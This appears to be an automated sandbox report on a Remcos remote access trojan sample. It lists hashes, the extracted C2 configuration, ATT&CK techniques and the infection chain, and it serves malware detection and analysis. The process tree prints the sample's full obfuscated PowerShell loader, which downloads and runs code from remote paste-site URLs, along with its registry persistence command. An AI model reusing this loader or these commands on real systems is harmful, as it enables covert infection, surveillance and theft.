remcos | 6865a70ecd52fa5ab8b6f184573f93ce0bf5bd1a7e1f499842e7e494601091f7

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/04/2026, 07:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Product_Sample_List.js
Size 40KB
Sample260428-jf54ksh17r
SHA256 6865a70ecd52fa5ab8b6f184573f93ce0bf5bd1a7e1f499842e7e494601091f7
MD5 1c8d8cb2e2b0f154538448c275dffcca
SHA1 ad78d5af7ef368629b56b5145f8c00855f198ce5
SHA512 e4545c41567379c7c821cc13ed98d99d37b6d29219c253c6a986224959b622e90f59311a74a274673e2be6415c92515fe009a6720880a735f86894b7a080e08e
SSDEEP 192:QVzUm3NSg4vaUfpVGpw6earUMYee5Ef53cWNla0154H2zCxbsJkHtOHrMG3nuQe1:QMU/WHVsgkXSLJihkaWiuJB1ZvcnZ4
TLSH
T1500352241531318BC6F4550BCDA7E60B860DC8595D3C839BEF4B8B8FCAE568B7369E18
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

svchost defense_evasion discovery execution remcos persistence rat

Malware Config

Extracted

Family

remcos

Botnet

svchost

kamglobal.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-HNE8WZ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Family

remcos

Version

7.1.0 Pro

Botnet

svchost

kamglobal.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-HNE8WZ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3124	3356	powershell.exe	79

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3124	powershell.exe
3	3124	powershell.exe
5	3124	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3124	powershell.exe
1824	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\FlFFhbfgim = "wscript.exe \"C:\\ProgramData\\icjAddI.js\""	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3124 set thread context of 2940	3124	powershell.exe	93

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5244	timeout.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
4784	taskkill.exe
2664	taskkill.exe
5904	taskkill.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3124	powershell.exe
3124	powershell.exe
1824	powershell.exe
1824	powershell.exe
3124	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3124	powershell.exe
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	4784	taskkill.exe
Token: SeDebugPrivilege	2664	taskkill.exe
Token: SeDebugPrivilege	5904	taskkill.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3124 wrote to memory of 4508	3124	powershell.exe	82
PID 4508 wrote to memory of 4084	4508	csc.exe	83
PID 3124 wrote to memory of 1824	3124	powershell.exe	84
PID 1824 wrote to memory of 4488	1824	powershell.exe	86
PID 4488 wrote to memory of 4784	4488	cmd.exe	89
PID 4488 wrote to memory of 2664	4488	cmd.exe	91
PID 4488 wrote to memory of 5904	4488	cmd.exe	92
PID 3124 wrote to memory of 2940	3124	powershell.exe	93
PID 3124 wrote to memory of 2940	3124	powershell.exe	93
PID 3124 wrote to memory of 2940	3124	powershell.exe	93
PID 3124 wrote to memory of 2940	3124	powershell.exe	93
PID 3124 wrote to memory of 2940	3124	powershell.exe	93
PID 3124 wrote to memory of 2940	3124	powershell.exe	93
PID 3124 wrote to memory of 2940	3124	powershell.exe	93
PID 3124 wrote to memory of 4980	3124	powershell.exe	94
PID 4980 wrote to memory of 5244	4980	cmd.exe	96

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Product_Sample_List.js
1⤵
PID:2476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$ddsfdfdjhsdfgdgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBoAGEAcwB0AGUAYgAuAGkAbgAvAFcAWAA4AHAAWgBLAFcATABwAHUAZgBaAG4AcQBmACcAKQAsACgAJwBoAHQAdABwAHMAOgAvAC8AbQBhAGkAbABzAGgAYQByAGUALgBpAHQALwBuAGUAdwB1AGkAcwBtAGEAcgB0AC8AZABvAHcAbgBsAG8AYQBkAD8AdQBpAGQAPQBAADEALgBhAFcAcABUAFIAbQB0AEgAYQAxAEoARwBRADMATgB4AFQAagBJADUATQBHAGQAdgBhAGsAVgB3AFcAawBWAFUAYgAzAGsAeABaAG4AQgBqAGQAagBkAFcAUgAzAEIARQBOAFcAOQB2AFUAMAB4AHMAVwBHAG8AeABjAHoAZAB0AE4AMgA0ADEATQAyAFYANQBlAG0AMQB3AGIAMQBCADUAYwBuAFUAcgBiAEEAPQA9ACcAKQApAA0ACgBpAGYAKAAoACQAZwA9AGQAIAAkAGsAKQAtAGEAbgBkACgAJAB0AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZwApACkALQBtAGEAdABjAGgAJwA8ADwAUwBUAEEAUgBUAD4APgAoAC4AKgA/ACkAPAA8AEUATgBEAD4APgAnACkAewANAAoAIAAgACQAZwBnACAAPQAgACcAcwBlAHMAbgBlAFMAdAB1AG8AZQBkAGkASAAvAG8AbgAuAG8AaQBzAG4AZQBzAC4AZQB0AHMAYQBwAC8ALwA6AHMAZwBzAGYAZgBzAGYAcwBkACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAAOAApAA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACAAJwByAHUAbgBzAHMAJwAgAEAAKAAkAGcAZwAsACAAJwAzACcALAAgACcAaQBjAGoAQQBkAGQASQAnACwAIAAnAE0AcwBiAHUAaQBsAGQAJwAsACAAJwAxACcAIAAsACAAJwB4ADgANgAnACkADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzAHwAcwBvAHIAdAAgAEMAUABVACAALQBkAGUAcwBjAHwAcwBlAGwAZQBjAHQAIAAtAGYAaQByAHMAdAAgADUAfABmAHQAIABOAGEAbQBlACwAQwBQAFUAIAB9AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAA=';$OhgjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdfdjhsdfgdgo.replace('f#','r')));iex $OhgjuxD"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Product_Sample_List.js' -Destination 'C:\ProgramData\icjAddI.js' -Force"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3124
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j31e4ktz\j31e4ktz.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES826A.tmp" "c:\Users\Admin\AppData\Local\Temp\j31e4ktz\CSCB4BA6E80365948A58545C9B8569C67DE.TMP"
    3⤵
    PID:4084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4488
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM RegAsm.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4784
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Vbc.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2664
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM MsBuild.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5904
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wrfdse.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\system32\timeout.exe
    timeout 60
    3⤵
    - Delays execution with timeout.exe
    PID:5244

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
TLSH
T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 119B
SHA256 0a5fb0fb3731e74b21afcc60c17c99f760aea279602bafbd0cb1480a9c6a1e99
MD5 f239a88c0ed2516af29ca8a936218b6c
SHA1 047aa963eea125c08f29365c42cef262f5968384
SHA512 09175c5b144387bbd8e4eb94550eb76a09ca9273bd7c44704810908a31e99caf6f3c3eab9aacaf51fc218f6b4925bd24dad67be466c95d54440f6fe3438eb43c
TLSH
T12FB0220CF3808008C83002F000C8E30823228A00ACC30EB0A0A0E338CFF23030B02CF0
MD5 SHA1 SHA512 TLSH

Submit Download

RES826A.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES826A.tmp
Size 1KB
SHA256 405872a5242c282e19ab98cf3a84aead2ca15967b29e90a911415e3afb158496
MD5 2b621f937bd2a701336757eff80b4a9e
SHA1 615406891a727d5ec1449a31f13ca79359090373
SHA512 f7cd9cbafc526479a32480678ff3d2fed6fb9bbf6a266839c65e46de516cf0303ab09e2b8071fda571dc1d56f1016cf003e0527db62c843f1168779a8d27230a
TLSH
T1F721AB0643E9471FF0771731A9FA172BA224FD65EFA2939B844002682C50504DEB1FB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_vsmqqjqv.hxs.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vsmqqjqv.hxs.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

j31e4ktz.dll

Path C:\Users\Admin\AppData\Local\Temp\j31e4ktz\j31e4ktz.dll
Size 3KB
SHA256 9de8638d5a3b1bca4b6d6b18c5fee472333c4ffebe75e483250bad969ade5db1
MD5 706d300816d686b68e7bfb86bab42978
SHA1 5653dd82c4e54aa87f6ef0531d5c1e42b9b0308f
SHA512 d0cc9088417e6215b2fc8a75d8c483c162acdea0e34ee1139583533bc1fedb0f059021b0b845bf68b4e4f60332500b80f95c9895188b5a92251b666d424b50e7
TLSH
T10951CF1A57E8523BE8A70B356EF343172674F920AB63976E4980437CAC603A45E31F75
MD5 SHA1 SHA512 TLSH

Submit Download

wrfdse.bat

Path C:\Users\Admin\AppData\Local\Temp\wrfdse.bat
Size 232B
SHA256 859e1b8ca2b86c13e61b2dad6036386a2111c4aac5f7e76b3b8d870c39fa8557
MD5 2292ba29e7c6531dcdf07c42f17c56a7
SHA1 d660b885bda4f752640f6ce61c78b27d4ab5aff7
SHA512 8e4ef587ec36b50bfbf7dda20a37646b05a9cdb43c8fbb848bfa5ea0f3c18248b92ff034c362df98e02888194be345871d367f4ee277cea7eacf7a7ce0d8ddec
TLSH
T194D0A76915954A866E410CE734308254FE67E7265142644911ED1C697403A913C66BE0
MD5 SHA1 SHA512 TLSH

Submit Download

CSCB4BA6E80365948A58545C9B8569C67DE.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\j31e4ktz\CSCB4BA6E80365948A58545C9B8569C67DE.TMP
Size 652B
SHA256 76956da46da605f45851ece6f0ae23ef496acd77ec1ab74b862a579f4c31f35e
MD5 5a53d52045c58789c56f07e6f04127db
SHA1 85d143944c087ed9e3f7f38add8a197f5dcbedd6
SHA512 8df44e307fe51094adbaa36ceac2f68156bc1049d4163f1713e83d3630c1f4d86b59b63206d76dba7964ea07b9569c1aeae4ccd86e15e8eec18ea3ee3c59d58a
TLSH
T1A8F05E0A63F8020EF4F34B31BDF6436391A8BC65DE3293ED1440035D28645248A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

j31e4ktz.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\j31e4ktz\j31e4ktz.0.cs
Size 185B
SHA256 6f73f3ed4fdcac3be47b0398f5e9f79c0e138e052f31f885e86b37e2060a00e0
MD5 dbd5c6f96ed1813dbcc61c2c6091c05e
SHA1 2b52d347bbd04db7c0227f8ddb0284c945a36100
SHA512 556441599e8c5be3f1b61fea9ef1879018a4eedf8e403cc227b2e39511397c2dbb5a7617246e0dadabe37df00919f36140ace5db189a070949f76913997d5516
TLSH
T13DC012843295F3354A8605073C02F99B223E6B2202A9691499592D47EE141617779C2B
MD5 SHA1 SHA512 TLSH

Submit Download

j31e4ktz.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\j31e4ktz\j31e4ktz.cmdline
Size 369B
SHA256 cc7af8790e32ca62afe879e57324f8a5e585c182ba5dbe988117fbe84e32c63c
MD5 7e4c0736ffdd2abb8e82829365c08747
SHA1 65e2aa042bfcb6ed0a7029493476a054609fcb92
SHA512 cd962e5c9b43970b0b1df8fffe0f7763bbe5a2b320f41e380931e73654ec6e181691a5433d9d34cec324eef963f62e33e113d971a7334c614b92eb61d5369c34
TLSH
T125E0DF2E6257C67D15ED100F22AAC5FC837206973DC17F859160949DE03B0866BE2B95
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1824-62-0x000001FEB0C20000-0x000001FEB0C32000-memory.dmp

Download

memory/1824-61-0x000001FE96EE0000-0x000001FE96EEC000-memory.dmp

Download

memory/2476-0-0x000002A37A8C0000-0x000002A37A8CC000-memory.dmp

Download

memory/2476-1-0x000002A37A8C0000-0x000002A37A8CC000-memory.dmp

Download

memory/2940-70-0x0000000000080000-0x0000000000106000-memory.dmp

Download

memory/2940-63-0x0000000000080000-0x0000000000106000-memory.dmp

Download

memory/2940-83-0x0000000000080000-0x0000000000106000-memory.dmp

Download

memory/2940-82-0x0000000000080000-0x0000000000106000-memory.dmp

Download

memory/2940-81-0x0000000000080000-0x0000000000106000-memory.dmp

Download

memory/2940-80-0x0000000000080000-0x0000000000106000-memory.dmp

Download

memory/2940-69-0x0000000000080000-0x0000000000106000-memory.dmp

Download

memory/2940-64-0x0000000000080000-0x0000000000106000-memory.dmp

Download

memory/3124-51-0x0000022E79E10000-0x0000022E79E54000-memory.dmp

Download

memory/3124-3-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

Download

memory/3124-28-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

Download

memory/3124-26-0x0000022E79CE0000-0x0000022E79CE8000-memory.dmp

Download

memory/3124-27-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

Download

memory/3124-11-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

Download

memory/3124-4-0x0000022E79D70000-0x0000022E79D92000-memory.dmp

Download

memory/3124-29-0x0000022E5FE50000-0x0000022E5FE5C000-memory.dmp

Download

memory/3124-2-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

Download

memory/3124-78-0x0000022E5FE50000-0x0000022E5FE5C000-memory.dmp

Download

memory/3124-31-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

Download

memory/3124-30-0x0000022E61720000-0x0000022E61732000-memory.dmp

Download

memory/4084-21-0x000001FC7F600000-0x000001FC7F60C000-memory.dmp

Download

memory/4508-24-0x00000272D1900000-0x00000272D190C000-memory.dmp

Download